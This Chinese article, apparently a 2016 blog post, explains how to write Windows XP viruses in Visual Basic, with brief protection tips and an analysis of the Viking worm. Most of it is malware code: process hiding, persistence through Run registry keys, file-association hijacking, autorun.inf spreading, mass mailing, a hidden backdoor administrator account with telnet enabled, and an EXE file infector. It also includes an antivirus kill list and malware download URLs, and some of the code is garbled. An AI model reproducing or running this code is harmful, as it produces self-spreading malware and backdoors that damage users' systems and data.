VB平台对基于XP系统的计算机病毒研究分析

作者:super 时间:2016-06-03 00:14:36



浅谈 VB平台对基于XP系统的计算机病毒研究分析


-----------实战是检验真理的最好方法


目录

第一章 引言.........................................................2

第二章 计算机病毒介绍.............................................. 2

第三章VB软件的介绍.......................................... 3

第四章 计算机病毒的工作原理........................................ 3

第五章 基于病毒的工作原理进行防护,实用对战分析.....................4

 6.1病毒编程实现隐藏...............................................4
6.2常驻内存.........................................................4
6.3邮件传播………………………………………………………………………… 7
   6.4  容错处理………………………………………………………………………… 7
   6.5  自我保护………………………………………………………………………… 7
   6.6
防止程序被重复运行………………………………………………… 7
   6.7
传播………………………………………………………………………………8
   6.8
调用系统的命令提示符隐藏运行…………………………………… 8
   6.9  感染文件………………………………………………………………………… 9
   6.10 感染计算机驱动器………………………………………………………………10
   6.11 实现代码加密……………………………………………………………………12
   6.12 实现代码保护……………………………………………………………………12

第六章病毒的案例分析.............................................. 14

结论.......................................................17

第八章 参考文献.................................................... 17


第一章引言

百度被黑了,一个强大的互联网堡垒怎么就这么容易攻破呢;熊猫烧香传播速度怎么这么快呢;计算机如何才能更安全呢;个人用户以及企业用户在当今的病毒横行的网络上该怎样更好的去保护自己的计算机呢?带着疑问我将详述所谓的计算机病毒是怎样编成的以及如何去防护,希望这篇文章能给广大互联网用户有帮助。禁止通过本代码进行破坏活动,请遵守相关互联网法律法规。该文中的代码来自互联网,如果你觉得其中的代码侵犯了您的权利,请告知,本人将及时处理。

第二章计算机病毒介绍

计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中被明确定义,病毒指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码


第三章  VB软件的介绍

Visual Basic,简称VB,是当今世界上应用最广泛的编程语言之一,它也被公认为是编程效率最高的一种编程方法。无论是开发功能强大、性能可靠的商务软件,还是编写能处理实际问题的实用小程序,VB都是最快速、最简便的方法。


第四章计算机病毒的工作原理

  在Windows系统中,木马一般作为一个网络服务程序在种了木马的机器后台运行,监听本机一些特定端口,这个端口号多数比较大(5000以上,但也有部分是5000以下的)。当该木马相应的客户端程序在此端口上请求连接时,它会与客户程序建立一TCP连接,从而被客户端远程控制。


  既然是木马,当然不会那么容易让你看出破绽,对于程序设计人员来说,要隐藏自己所设计的窗口程序,主要途径有:在任务栏中将窗口隐藏,这个只要把 FormVisible属性调整为FalseShowInTaskBar也设为False。那么程序运行时就不会出现在任务栏中了。如果要在任务管理器中隐身,只要将程序调整为系统服务程序就可以了。


  好了,现在我们对木马的运行有了大体了解。让我们从其运行原理着手来看看它藏在哪。既然要作为后台的网络服务器运行,那么它就要乘计算机刚开机的时候得到运行,进而常驻内存中。想一想,Windows系统刚启动的时候会通过什么项目装入而运行一些程序呢?你可能会想到“开始->程序->启动”中的项目!没错,这是Windows启动时要运行的东西,但要是木马服务器程序明显地放在这就不叫木马了。


  木马基本上采用了Windows系统启动时自动加载应用程序的方法,包括有win.inisystem.ini和注册表等。


  在win.ini文件中,[WINDOWS]下面,“run=”和“load=”行是Windows启动时要自动加载运行的程序项目,木马可能会在这现出原形。必须要仔细观察它们,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的或以前没有见到过的启动文件项目,那么你的计算机就可能中上木马了。当然你也得看清楚,因为好多木马还通过其容易混淆的文件名来愚弄用户。如AOL Trojan,它把自身伪装成command.exe文件,如果不注意可能不会发现它,而误认它为正常的系统启动文件项。


  在system.ini文件中,[BOOT]下面有个“shell=Explorer.exe”项。正确的表述方法就是这样。如果等号后面不仅仅是explorer.exe,而是“shell=Explorer.exe程序名”,那么后面跟着的那个程序就是木马程序,明摆着你已经中了木马。现在有些木马还将explorer.exe文件与其进行绑定成为一个文件,这样的话,这里看起来还是正常的,无法瞧出破绽。


  隐蔽性强的木马都在注册表中作文章,因为注册表本身就非常庞大、众多的启动项目及易掩人耳目。

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

  上面这些主键下面的启动项目都可以成为木马的容身之处。如果是Windows NT,那还得注意HKEY-LOCAL-MACHINESoftwareSAM下的东西,通过regedit等注册表编辑工具查看SAM主键,里面下应该是空的。


  木马驻留计算机以后,还得要有客户端程序来控制才可以进行相应的“黑箱”操作。要客户端要与木马服务器端进行通信就必须得建立一连接(一般为TCP连接),通过相应的程序或工具都可以检测到这些非法网络连接的存在。


第五章基于病毒的工作原理进行防护,实用对战分析

对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西,病毒一般都具有传播、隐藏、破坏等能力。

1.病毒编程实现隐藏

要实行自我隐藏,就要用到API函数。
其代码如下:
Public Declare Function GetCurrentProcessid Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByValdwProcessID As Long, ByVal dwType As Long)
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub MakeMeService()
Dim pid As Long
Dim resery As Long
pid = GetCurrentProcessid()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
这样就实现了自我隐藏。
还有别的什么App.Title = ""和App.TaskVisible= False都可以用于VB病毒的隐藏。

防止办法:双击我的电脑-工具-文件夹选项-查看(去掉“不显示隐藏的文件和文件夹”选择“显示所有文件和文件夹”,去掉“隐藏已知文件类型的扩展名”,去掉“隐藏受保护的系统州系统文件”即可看到系统只能够有隐藏的病毒)
2.常驻内存

利用在注册表中插入相应键值来实现开机自启

rivate Declare Function RegCreateKey Lib"advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long,ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKeyAs Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias"RegSetValueExA" (ByVal hKey As Long, ByVal lpvalueName As String,ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData AsLong) As Long
上述是API声明。
病毒的开机自启就是在RUN下建立一个启动项,代码:
Dim hKey As Long
Dim cc
Let cc = Len("病毒的绝对路径")
RegCreateKey HKEY_LOCAL_MACHINE,"SoftwareMicrosoftWindowsCurrentVersionRunservices", hKey
Writereg =Wsh_shell.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunSystemm",Mypath, "REG_SZ")
Writereg =Wsh_shell.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunSystemmm","500)this.width=500"=0>http://hsz.oor.cn"REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanManC$Flags","302", "REG_DWORD")
Writereg =Wsh_shell.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanManC$Type","0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanManC$Path","C:")
Writereg =Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainStart Page", "500)this.width=500"=0>www.baidu.com")
Writereg =Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainWindow Title", "BLOG地址:http://www.baidu.com")
Writereg =Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun","01", "REG_DWORD")
Writereg =Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose","01", "REG_DWORD")
Writereg =Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff","01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives","04", "REG_DWORD")
Writereg =Wsh_shell.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01","REG_DWORD")
RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal"病毒的绝对路径", cc
RegCloseKey hKey

防止办法:查看注册表中的病毒常驻项,这里就不多介绍了,有兴趣的可以问本人或者百度
以上代码执行后会在注册表中加入一个病毒的启动项。

通过修改文本文件的关联实现启动
其代码如下:
API声明:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias"RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String,phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA"(ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVallpData As String, ByVal cbData As Long) AsLong        
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
实现代码:
Dim sKeyName As String      '存储键名
Dim sKeyValue As String      '存储键值
Dim MyReturn As Long      '存储返回值信息
Dim keyhandle As Long
sKeyName = "Test"
sKeyValue = "Test Application"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ,sKeyValue, 0&)
MsgBox MyReturn&
sKeyName = ".txt" '要建立关联的文件后缀名
sKeyValue = "Test"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ,sKeyValue, 0&)
sKeyName = "Test"
sKeyValue = "D:病毒.exe %1" '自己程序的位置和名称
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&,"shellopencommand", REG_SZ, sKeyValue, MAX_PATH)
End Sub
以上是利用修改TXT文件关联来实现病毒启动的。

防止方法:通过注册表修复,通过FTYPE和ASSOC命令修复文件关联(通过这两个命令也可有效防止中病毒的计算机中的病毒继续扩散和进一步感染)

利用Autorun.inf
光盘就是利用这个来自动播放的,所以我就不废话了。

实现代码:
If Dir("F:") <> "" Then Let a = App.Path +"" + App.EXEName + ".exe"
FileCopy a, "C:病毒.exe"
Open "Autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=病毒.exe"
Close #1
这样就实现了双击C盘启动病毒的作用。

防止办法:通过组策略中的“软件限制策略”创建新的规则路径,将安全级别该为不允许,关闭系统中的自动播放功能(通过注册表也可以限制)

3.邮件传播

ConnectToServer Server, Winsock1 ‘这是向服务器建立连接
SendMail FromAddress, ToAddress, Subject, Body, Winsock1,Attach      ‘发送邮件
FromAddress 发件人地址
ToAddress 收件人地址
Subject 邮件标题
Body 邮件内容
Attach 附件地址
利用这样的原理来群发,可以达到传播自己的目的。

保护自身的增殖文件。
比如:
Let a = App.Path + "" + App.EXEName + ".exe"
If Dir("C:Program Files病毒.exe") <>"" Then
Else: FileCopy a, "C:Program Files病毒.exe"

防止方法:删除系统中的邮件功能,一般的网易,QQ邮箱即好用又安全

4.容错语句
On Error Resume Next

5.自我保护

双进程保护,结束安全杀毒软件进程,劫持杀毒软件

攻防办法:利用可同时结束多个进程的任务管理器,或者通过命令提示符中的几个结束进程的命令同时结束,如:TASKKILL;也可以通过修改注册表还原被劫持的路径(可以反劫持病毒)

6.防止程序被重复运行

Private Sub Form_ Load
 if app.previnstance then
 msgbox 〃程序正在运行,请检查窗口是否被最小化。〃
 end if
 End Sub

7.传播

通过网页的脚本

Dim nowtime
Dim i
nowtime = Date
If nowtime <> "2008-10-1" Then
For i = 1 To 999
Open "d:《病毒攻防》" & "第" & i & "篇" &".htm" For Append As #1
Print #1, "<script language=’javascript’>alert(’病毒攻防,攻防有术,踏雪寻梅,为你揭开病毒的神秘面纱。有空和我聊聊吧,!’)</script>"
Print #1, "<script language=’javascript’>window.location=’500)this.width=500"align=absMiddle border=0>http://www.baidu.com</script>"
Close #1
Next
End If

通过系统漏洞 135-139-3389-445等弱端口
攻防办法:关闭135-139-3389-445端口,具体可以通过注册表,系统设置,批处理程序关闭
不需要的端口(注意:端口就好比是通入一栋大厦的门,这个大厦的门可能有很多,安全通道门、后门、开辟新的门等,也就等于计算机的端口,守好端口对计算机的安全至关重要,可以通过防火墙进行监控端口及端口的网络连接)

通过移动存储设备传播
8.调用系统的命令提示符隐藏运行

Shell "cmd.exe /c " & dir1 &"System32Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /add&net localgroup administratorslilong /add", vbHide
Shell "cmd.exe /c & net start telnet", vbHide
Shell "cmd.exe /c & net share admin$", vbHide

在系统中隐蔽的新建后门用户和密码,进行telnet连接,这个很危险,后果很严重,黑客可能通过telnet的登录来完全控制计算机。
攻防办法:关闭Telnet的服务,让Telnet无法启用,或者建立命令提示符的安全文件和密码,具体代码如下:
@echo of
color 1a
cls
prompt 张超欢迎你的到来:
title 欢迎进入CMD命题提示符,该程序已经加密,请输入密码进入实用!!!
set pass=0
set times=0          
echo       为了防止DOS类病毒现入侵,现将DOS加密
:start
set /p pass=张超欢迎您,请输入CMD密码:
if %pass%==123456 goto ok
if %times%==0 goto end
set /A times=%times%-1
:end
exit
cls
:ok
以上只是一个简单的批处理程序,有很多其它的方式也可以阻止命令提示符病毒的入侵。

9.感染文件

将生成病毒文件的代码读出,粘在要被感染的文件的后面。
Open App.Path & "" & App.EXEName & ".exe" ForBinary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码


Victim = Dir(App.Path & "" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While Victim <> ""
If format(Victim, ">") <> format(App.EXEName &".EXE", ">") Then
Open App.Path & "" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件(不是圈套)
End If
End If
'读出准备被感染的文件的代码

Victim = Dir() 'Next
Wend

'下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。
Open App.Path & "" & App.EXEName & ".exe" ForBinary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "" & App.EXEName & ".eve" ForBinary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "" & App.EXEName &".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '出错处理,空着就可以了

攻防方法:鉴于文件感染还是需要计算机的主动防御功能的加强,如果重要文件被感染也是可以通过一些技术手段清除该可执行文件的头部代码,诺顿杀毒软件具有可清理感染病毒的功能,也可以有效阻止文件被感染。

10.感染计算机驱动器

每个电脑上都有一个硬盘和一个光驱或者有N个分驱
'     这些分驱相对来说,不会经常消失!
'     只有U盘或MP3接上后会多出一个,当拿走时会减少一个!
'     所以,在程序运行时,先备份电脑上当前的驱动器数量!
'     当发现加或减时就能确定是不是移动设备!
'     正进行传播,因为题目要求,只传播U盘,加上自动运行文件!
'     就不用改写里面的文件!
' 要是没有看懂我的程序前,请不要运行!死了别怪我!

攻防办法:为计算机硬盘加密
Private Declare Function getdrivetype Lib "kernel32" Alias"getdrivetypeA" (ByVal ndrive As String) As Long

Private Declare Function getvolumeinformation Lib"kernel32" Alias "getvolumeinformationA" (ByValiprootpathname As String, ByVal ipvolumenamebuffer As String, ByValnvolumenamesize As Long, ipvolumeserialnumber As Long, ipmaximumcomponentlengthAs Long, ipfilesystemFLAGS As String, ByVal ipfilesystemnamebuffer As String,ByVal nfilesystemnamesize As Long) As Long

Private Declare Function getdiskfreespace Lib"kernek32" Alias "getdiskfreespaceA" (ByVal iprootpathnameAs String, ipsectorspercluster As Long, ipbytespersector As Long,ipnumberoffreeclusters As Long, iptoalnumberofclusters As Long) As Long

Const is_compressed = &H800 '压缩盘标记
Private Sub Command1_Click()
Call checkdisk
End Sub

Function checkdisk()
Dim serialnum As Long
 volname = String(255, 0)
 filesys = String(255, 0)
 Drive = "h:"
 getvolumelnformation Drive, volname,256, serianum, maxlen, compressflag, filesys, 256

 lbinum =Hex(serialnum)
 lblnum = CStr(serialnum)
 Text1.Text = Hex(seriainum)
   If lblnum = "0" Then
   magbox "错误,请插入磁盘"
   checkdisk = False
 End If
 len_key = Len(lblnum)
 Key = 0
 For i = 1 To len_key
 Key = Key + i * i * Asc(Mid(lbinum, i,1))
 Next
 Text1.Text = Key
 keyfile = "h:sn.txt"
Set ts = fs.opentextfile(keyfile, 2, True)
ts.writeline (Key)
keyfile = "h:sn.txt"
 Set fs = CreateObject("scripting.filesystemobject")
Set ts = fs.opentextfile(keyfile, 1, True)
 lblnum1 = ts.readline
 If lblnum1 = "11653" Andlblnum1 = Val(Key) Then
 MsgBox "磁盘正确"
 checkdisk = True
 elself
     lblnum = "0" then
      MsgBox "错误,请插入磁盘"
 Else
      MsgBox "错误,请插入正确的磁盘,想打开没门"
checkdisk = False
End If
End Function
Private Sub Form_Load()
End Sub

以上代码可以防止病毒写入磁盘,将磁盘保护起来,没看懂该程序的建议不要使用,如果在U盘上设置错误可能导致计算机无法开机,造成系统损坏。

11.实现代码加密

用VB实现字节逐位倒排序加密法:
(1) 以二进制模式打开源文件;
(2) 从源文件第I位读取一个字节,假设为字母“A”,得到“A”的ASCII值为65;
(3) 将65转换成八位二进制串为“01000001”;
(4) 将“01000001”按字节逐位倒排序得另一个八位二进制串“10000010”;
(5) 将“10000010”转换成十进制再写回源文件第I位置,完成一个字节的加密;
(6) 重复(2)、(3)、(4)和(5),直到所有字节加密结束。

12.实现代码保护

现今的计算机安全公司对计算机病毒的防护和剿杀的技术还是比较成熟,国产的金山就是一款不错的杀毒软件,但是在病毒与杀毒软件的攻防战中总是此消彼长,此起彼伏,其中病毒为了逃避杀毒软件往往会对病毒进行加壳出来,病毒运行后杀毒软件只对壳进行辨别对内部的病毒代码并没有真正的扫描,就好比只对一个犯人的衣着打扮进行核对对面相并没有核对,如果犯人换了一件服装计算机病毒就无法检测到了,但现在一些杀毒软件也能进行深层次的扫描。有的病毒还会通过修改特征码来逃避杀毒软件的查杀,病毒每天都会今天病毒特征库进行升级,更新最新的病毒特征,就好比在服装的基础上对犯人的面相,一些行为习惯都进行分析从而进行查杀,但是病毒有可以进行整容,总之,病毒和杀毒软件都是在进行着长期的拉锯战。


遇到病毒不慌张,检测木马的存在

  知道木马启动运行、工作的原理,我们就可以着手来看看自己的计算机有没有木马存在了。

  首先,查看system.iniwin.ini、启动组中的启动项目。由“开始->运行”,输入msconfig,运行Windows自带的“系统配置实用程序”。

1、查看system.ini文件

  选中“System.ini”标签,展开[boot]目录,查看“shell=”这行,正常为“shell=Explorer.exe”,如果不是这样,就可能中了木马了。下图所示为正常时的情况:

2、查看win.ini文件

  选中win.ini标签,展开[windows]目录项,查看“run=”和“load=”行,等号后面正常应该为空

3、查看启动组

  再看看启动标签中的启动项目,有没有什么非正常项目?要是有象netbusnetspybo等关键词,极有可能就是木马了。本人一般都将启动组中的项目保持在比较精简的状态,不需要或无大用途的项目都屏蔽掉了

4、查看注册表

  由“开始-运行”,输入regedit,确定就可以运行注册表编辑器。再展开至:“HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”目录下,查看键值中有没有自己不熟悉的自动启动文件项目,比如netbusnetspynetserver等的单词。注意,有的木马程序生成的服务器程序文件很像系统自身的文件,想由此伪装蒙混过关。比如Acid Battery木马,它会在注册表项“HKEY-LOCAL-MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”下加入Explorer=CWINDOWSexpiorer.exe”,木马服务器程序与系统自身的真正的Explorer之间只有一个字母的差别!

  通过类似的方法对下列各个主键下面的键值进行检查:

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

  如果操作系统是WindowsNT,还得注意HKEY-LOCAL-MACHINESoftwareSAM下面的内容,如果有项目,那极有可能就是木马了。正常情况下,该主键下面是空的。


  当然在注册表中还有很多地方都可以隐藏木马程序,上面这些主键是木马比较常用的隐身之处。除此之外,象HKEY-CURRENT-USER SoftwareMicrosoftWindowsCurrentVersionRunHKEY-USERS****SoftwareMicrosoftWindowsCurrentVersionRun的目录下都有可能成为木马的藏身之处。最好的办法就是在HKEY-LOCAL -MACHINESoftwareMicrosoftWindowsCurrentVersionRun或其它主键下面找到木马程序的文件名,再通过其文件名对整个注册表进行全面搜索就知道它有几个藏身的地方了。


  如果有留意,注册表各个主键下都会有个叫“(默认)”名称的注册项,而且数据显示为“(未设置键值)”,也就是空的。这是正常现象。如果发现这个默认项被替换了,那么替换它的就是木马了。


4、其它方法

  上网过程中,在进行一些计算机正常使用操作时,发现计算机速度明显起了变化、硬盘在不停的读写、鼠标不听使唤、键盘无效、自己的一些窗口在未得到自己允许的情况下被关闭、新的窗口被莫名其妙地打开.....这一切的不正常现象都可以怀疑是木马客户端在远程控制你的计算机。


  如果怀疑你现在正在被木马控制,那么不要慌张地去拔了网线或抽了Modem上的电话线。有可能的话,最好可以逮到“黑”你的那个家伙。下面就介绍一下相应的方法:


  由“开始->运行”,输入command,确定,开一个MS-DOS窗口。或者由“开始->程序->MS-DOS”来打开它。在MS-DOS窗口的命令行键入“netstat”查看目前已与本计算机建立的连接。如下图所示:显示出来的结果表示为四列,其意思分别为Proto:协议,LocalAddress:本地地址,ForeignAddress:远程地址,State:状态。在地址栏中冒号的后面就是端口号。如果发现端口号码异常(比如大于5000),而Foreign Address中的地址又不为正常网络浏览的地址,那么可以判断你的机器正被ForeignAddress中表示的远程计算机所窥视着。在对应行的Foreign Address中显示的IP地址就是目前非法连接你计算机的木马客户端。


当网络处于非活动状态,也就是目前没什么活动网络连接时,在MS-DOS窗口中用netstat命令将看不到什么东西。此时可以使用“netstat -a”,加了常数“-a”表示显示计算机中目前处于监听状态的端口。

第六章病毒的案例分析

称:威金(Worm.Viking)

  处理时间:2006-06-01威胁级别:★★

  病毒类型:蠕虫影响系统:Win 9x/ME,Win 2000/NT,WinXP,Win 2003

  病毒行为:

  该病毒为Windows平台下集成可执行文件感染、网络感染、下载网络木马或其它病毒的复合型病毒,病毒运行后将自身伪装成系统正常文件,以迷惑用户,通过修改注册表项使病毒开机时可以自动运行,同时病毒通过线程注入技术绕过防火墙的监视,连接到病毒作者指定的网站下载特定的木马或其它病毒,同时病毒运行后枚举内网的所有可用共享,并尝试通过弱口令方式连接感染目标计算机。


  运行过程过感染用户机器上的可执行文件,造成用户机器运行速度变慢,破坏用户机器的可执行文件,给用户安全性构成危害。


  病毒主要通过共享目录、文件捆绑、运行被感染病毒的程序、可带病毒的邮件附件等方式进行传播。

1、病毒运行后将自身复制到Windows文件夹下,文件名为:

%SystemRoot%rundl132.exe

2、运行被感染的文件后,病毒将病毒体复制到为以下文件:

%SystemRoot%logo_1.exe

3、同时病毒会在病毒文件夹下生成:

  病毒目录vdll.dll

4、病毒从Z盘开始向前搜索所有可用分区中的exe文件,然后感染所有大小27kb-10mb的可执行文件,感染完毕在被感染的文件夹中生成:

_desktop.ini(文件属性:系统、隐藏。)

5、病毒会尝试修改%SysRoot%system32driversetchosts文件。

6、病毒通过添加如下注册表项实现病毒开机自动运行:

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"load"="C:WINNTrundl132.exe"

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionWindows]

"load"="C:WINNTrundl132.exe"


7、病毒运行时尝试查找窗体名为:"RavMonClass"的程序,查找到窗体后发送消息关闭该程序。

8、枚举以下杀毒软件进程名,查找到后终止其进程:

Ravmon.exe

Eghost.exe

Mailmon.exe

KAVPFW.EXE

IPARMOR.EXE

Ravmond.exe

9、同时病毒尝试利用以下命令终止相关杀病毒软件:

net stop"Kingsoft AntiVirus Service"

10、发送ICMP探测数据"Hello,World",判断网络状态,网络可用时,

  枚举内网所有共享主机,并尝试用弱口令连接IPC$admin$等共享目录,连接成功后进行网络感染。

11、感染用户机器上的exe文件,但不感染以下文件夹中的文件:

system

system32

windows

documentsand settings

systemVolume Information

Recycled

winnt

ProgramFiles

Windows NT

WindowsUpdate

WindowsMedia Player

OutlookExpress

InternetExplorer

ComPlusApplications

NetMeeting

Common Files

Messenger

MicrosoftOffice

InstallShieldInstallation Information

MSN

MicrosoftFrontpage

Movie Maker

MSN GamingZone

12、枚举系统进程,尝试将病毒dll(vdll.dll)选择性注入以下进程名对应的进程:

Explorer

Iexplore

  找到符合条件的进程后随机注入以上两个进程中的其中一个。

13、当外网可用时,被注入的dll文件尝试连接以下网站下载并运行相关程序:

http://www.17**.com/gua/zt.txt保存为:c:.txt

http://www.17**.com/gua/wow.txt保存为:c:.txt

http://www.17**.com/gua/mx.txt保存为:c:.txt

http://www.17**.com/gua/zt.exe保存为:%SystemRoot%Sy.exe

http://www.17**.com/gua/wow.exe保存为:%SystemRoot%Sy.exe

http://www.17**.com/gua/mx.exe保存为:%SystemRoot%Sy.exe

  注:三个程序都为木马程序

14、病毒会将下载后的"1.txt"的内容添加到以下相关注册表项:

[HKEY_LOCAL_MACHINESOFTWARESoftDownloadWWW]

"auto"="1"

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows]

"ver_down0"="[bootloader]+++++++++++++++++++++++"

"ver_down1"="[bootloader]

timeout=30

[operatingsystems]

multi(0)disk(0)rdisk(0)partition(1)WINDOWS="MicrosoftWindows XP Professional" ////"

"ver_down2"="default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS

[operatingsystems]

multi(0)disk(0)rdisk(0)partition(1)WINDOWS="MicrosoftWindows XP Professional" /////"

  二、专杀工具

http://it.rising.com.cn/service/technology/RavVikiing.htm

  三、删除_desktop.ini

  该病毒会在每个文件夹中生成一个名为_desktop.ini的文件,一个个去删除,显然太费劲,(我的机器的操作系统因安装在NTFS格式下,所以系统盘下的文件夹中没有这个文件,另外盘下的文件夹无一幸免),因此在这里介绍给大家一个批处理命令 deld:_desktop.ini /f/s/q/a,该命令的作用是:

  强制删除d盘下所有目录内(包括d盘本身)_desktop.ini文件并且不提示是否删除

/f 强制删除只读文件

/q 指定静音状态。不提示您确认删除。

/s 从当前目录及其所有子目录中删除指定文件。显示正在被删除的文件名。

/a的意思是按照属性来删除了

  这个命令的作用是在杀掉viking病毒之后清理系统内残留的_desktop.ini文件用的

  使用方法是开始--所有程序--附件--命令提示符,键入上述命令(也可复制粘贴),首先删除D盘中的_desktop.ini,然后依此删除另外盘中的_desktop.ini

  至此,该病毒对机器造成的影响全部消除。

  觉得有用的朋友们拿去试试吧

  以下是我自己处理的方法:

(1)先下载好瑞星威金病毒专杀工具;

http://it.rising.com.cn/service/technology/RavVikiing.htm

(2)断开网络;

(3)处理C盘:能系统还原的就系统还原,这样节省时间,不行的就重装系统;

(4)再在安全模式下用刚才下的专杀工具清除掉C盘以外的其它盘的病毒;

(5)用全盘搜索功能(记得在高级选项里把搜索隐藏文件的选项勾上),搜索名为“_desktop.ini”的文件,搜索好后,凡是符合要求的全部删除;


(6)清除完后重启机器即可。

不怕崩溃修复丢失BOOT.ini文件 http://www.ccw.com.cn在使用电脑时我们为了优化XP启动速度会经常使用一些修改软件,这些软件无一例外的会修改您的注册表,甚至会修改到双系统用户的系统启动文件,造成双系统启动文件BOOT.ini丢失。当BOOT.ini丢失后我们就必需再建一个BOOT.ini来恢复系统的启动。


boot.ini是系统启动时,需要查询的一个系统文件,它告诉启动程序本计算机有几个操作系统、各系统的位置在哪里等信息。重新恢复的方法如下:单击“开始”菜单,依次指向“程序→附件→记事本”,打开“记事本”,在记事本里输入:

[boot loader]

timeout=10

default=multi(0)disk(0)rdisk(0)partition(2)WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)WINDOWS="MicrosoftWindows 98" /fastdetect /NoExecute=OptIn

multi(0)disk(0)rdisk(0)partition(2)WINNT="MicrosoftWindows XP" /fastdetect

然后将它保存为名字是boot.ini的文件,将此文件存放到C盘的根目录下即可。

清除威金病毒留下的大量_desktop.ini文件?

威金病毒会感染系统中的EXE可执行文件,会导致系统无法正常使用,同时它还会在系统的每个文人夹下自动生成_desktop.inidesktop.ini的文件,一般在病毒查杀完后这两个ini文件不会被清除掉,那么怎么样才能快速清除呢?


